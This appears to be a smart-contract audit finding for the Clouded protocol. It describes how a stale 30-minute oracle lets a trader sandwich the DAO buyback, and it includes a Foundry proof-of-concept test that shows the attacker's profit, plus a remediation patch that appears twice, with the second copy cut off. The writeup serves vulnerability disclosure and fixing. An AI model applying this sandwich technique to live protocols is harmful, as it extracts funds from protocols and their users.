Lines 344-361 — _Oracle price only refreshes every 30 minutes, allowing manipulation window_ — _The cumulative price is updated continuously but oraclePrice_ only refreshes after ORACLE_PERIOD._

    function _updateBuyBackOracle() private {
        if (totalLP == 0) return;

        uint256 _timestamp = block.timestamp;

        uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
        if (_priceElapsed > 0) {
            priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
            priceUpdatedAt_   = _timestamp;
        }

        uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
        if (_oracleElapsed >= ORACLE_PERIOD) {
            oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
            oracleCumulative_ = priceCumulative_;
            oracleUpdatedAt_  = _timestamp;
        }
    }

Uploaded archive/CloudedJury.sol

Lines 248-266 — _A public jury mint forwards HYPE to DAO.buyBack, creating an observable protocol buyback trigger._

    function mint(uint256 _amount) external payable nonReentrant {
        if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();

        if (_amount == 0) revert ZeroAmount();

        uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
        if (msg.value < _mintPrice) revert InsufficientPayment();

        for (uint256 i = 0; i < _amount; i++) {
            _mint(msg.sender, nextTokenId_);
            nextTokenId_++;
        }

        IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();

        uint256 _refund = msg.value - _mintPrice;
        if (_refund > 0) {
            (bool _success, ) = msg.sender.call{value: _refund}("");
            if (!_success) revert RefundFailed();

Description

buyBack prices its DAO output from the live reserveHYPE and reserveDAO balances, but accepts that output so long as it exceeds an oracle-derived minimum reduced by MAX_BUYBACK_DEVIATION_BPS. The oraclePrice_ used for this check is updated only after ORACLE_PERIOD, so it is not a committed price for the buyback transaction and can be stale when the transaction executes. Permissionless swapHYPEForDAO and swapDAOForHYPE calls can therefore alter the reserves immediately before and after an observable buyback, enabling a trader to make DAO more expensive, let the buyback execute at a worsened yet accepted price, and unwind the position afterward. Public CloudedJury.mint calls supply a predictable buyback trigger, while other buyback-triggering flows can similarly be targeted. Conversely, pushing the live output below the lower bound makes the buyback no-op and leaves pendingHYPE unspent, allowing repeated disruption of the burn process.

Root cause

buyBack executes against manipulable spot reserves while relying on a periodically refreshed oraclePrice_ and a permissive one-sided minimum-output check to validate execution.

Impact

A sandwiching trader can extract HYPE value from the protocol by causing a buyback to acquire fewer DAO tokens than it would at the unmanipulated pool price, then reversing the reserve manipulation after the buyback. An attacker can also repeatedly make buybacks fail their output check, retaining pendingHYPE and delaying intended DAO burns.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;

    address internal admin = makeAddr("manager-admin");
    address internal initialJuror = makeAddr("initial-juror");
    address internal victimMinter = makeAddr("victim-minter");
    address internal attacker = makeAddr("sandwich-attacker");

    CloudedManager internal manager;
    CloudedJury internal jury;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        // CloudedDAO only needs a configured JURY for this PoC; the Clouded address is not used by buyBack or swaps.
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), makeAddr("unused-clouded"));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), makeAddr("unused-clouded"), address(dao));
        manager.addToWhitelist(initialJuror);
        manager.addToWhitelist(victimMinter);
        vm.stopPrank();

        vm.deal(initialJuror, 20 ether);
        vm.deal(victimMinter, 10 ether);
        vm.deal(attacker, 1 ether);

        // First public mint initializes the DAO AMM/buyback pool through the real Jury -> DAO.buyBack path.
        vm.prank(initialJuror);
        jury.mint{value: 15 ether}(5);
        assertGt(dao.reserveHYPE(), 0, "pool initialized with HYPE reserve");
        assertEq(dao.reserveHYPE(), dao.reserveDAO(), "initial buyback pool starts at the oracle price");
    }

    function test_staleOracleBuybackCanBeSandwichedForProfit() public {
        uint256 buybackHype = 1 ether / 100; // one public jury mint forwards 0.01 HYPE to DAO.buyBack.
        (uint256 cleanDaoBurn,) = dao.quoteHYPEForDAO(buybackHype, 0);
        uint256 attackerStartHype = attacker.balance;

        // Choose the front-run size from the current live pool, not a copied expected output.
        // This amount moves spot DAO/HYPE close to the one-sided 20% stale-oracle acceptance band.
        uint256 frontRunHype = dao.reserveHYPE() * 1182 / 10000;

        vm.prank(attacker);
        uint256 daoBought = dao.swapHYPEForDAO{value: frontRunHype}(0, block.timestamp);

        uint256 supplyBeforeBuyback = dao.totalSupply();

        // A normal user action, CloudedJury.mint, is the public trigger. It calls the real DAO.buyBack,
        // whose stale oracle check accepts the attacker-skewed spot reserves and burns fewer DAO tokens.
        vm.prank(victimMinter);
        jury.mint{value: 3 ether}(1);

        uint256 actualDaoBurn = supplyBeforeBuyback - dao.totalSupply();
        assertLt(actualDaoBurn, cleanDaoBurn, "manipulated buyback burns fewer DAO than the unmanipulated quote");
        assertEq(dao.pendingHYPE(), 0, "buyback passed the stale one-sided oracle guard and spent pending HYPE");

        vm.prank(attacker);
        uint256 hypeOut = dao.swapDAOForHYPE(daoBought, 0, block.timestamp);

        assertGt(hypeOut, frontRunHype, "back-run returns more HYPE than the front-run cost");
        assertGt(attacker.balance, attackerStartHype, "attacker extracts native HYPE from the protocol sandwich");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1172 lines & 64.203125 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_staleOracleBuybackCanBeSandwichedForProfit() (gas: 382862)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.04ms (271.97µs CPU time)

Ran 1 test suite in 11.86ms (2.04ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC demonstrates the profitable sandwich path through real CloudedJury.mint -> CloudedDAO.buyBack plus real public CloudedDAO swaps in the Foundry unit harness. It does not separately demonstrate the denial/no-op variant where manipulation pushes output below the oracle-derived minimum; the validated impact is reduced DAO burn plus attacker HYPE profit.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Buybacks now derive DAO output from the last committed TWAP-period price and HYPE-reserve snapshot, rather than live reserves an attacker can move around the transaction. The current reserve is used only to ensure enough DAO liquidity exists, so a same-block front-run cannot worsen the protocol's execution amount or force the former deviation check to retain pending HYPE.

Patch

diff
diff --git a/src/CloudedDAO.sol b/src/CloudedDAO.sol
--- a/src/CloudedDAO.sol
+++ b/src/CloudedDAO.sol
@@ -1,362 +1,359 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
-    uint256 private constant BPS_DEN = 10000;
-    uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
+    uint256 private oracleReserveHYPE_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
             totalLP             += _initialAmount;
             lpOf[address(this)] += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
-        uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
+        uint256 _oracleReserveDAO = oracleReserveHYPE_ * oraclePrice_ / DECIMALS;
+        uint256 _daoOut = _hypeInAfterFee * _oracleReserveDAO / (oracleReserveHYPE_ * FEE_DEN + _hypeInAfterFee);
 
-        uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
-        uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
-        _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
-
-        if (_daoOut > 0 && _daoOut >= _minDaoOut) {
+        if (_daoOut > 0 && _daoOut <= reserveDAO) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
         require(hype > 0 && dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
             if (_lpByHype < _lpByDAO) {
                 hypeUsed  = _hypeAmount;
                 daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                 daoRefund = _daoAmount - daoUsed;
             } else if (_lpByDAO < _lpByHype) {
                 daoUsed    = _daoAmount;
                 hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                 hypeRefund = _hypeAmount - hypeUsed;
             } else {
                 hypeUsed = _hypeAmount;
                 daoUsed  = _daoAmount;
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
-            oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
-            oracleCumulative_ = priceCumulative_;
-            oracleUpdatedAt_  = _timestamp;
+            oraclePrice_       = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
+            oracleReserveHYPE_ = reserveHYPE;
+            oracleCumulative_  = priceCumulative_;
+            oracleUpdatedAt_   = _timestamp;
         }
     }
 }
\ No newline at end of file

diff --git a/CloudedDAO.sol b/CloudedDAO.sol
--- a/CloudedDAO.sol
+++ b/CloudedDAO.sol
@@ -1,362 +1,359 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
-    uint256 private constant BPS_DEN = 10000;
-    uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
+    uint256 private oracleReserveHYPE_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
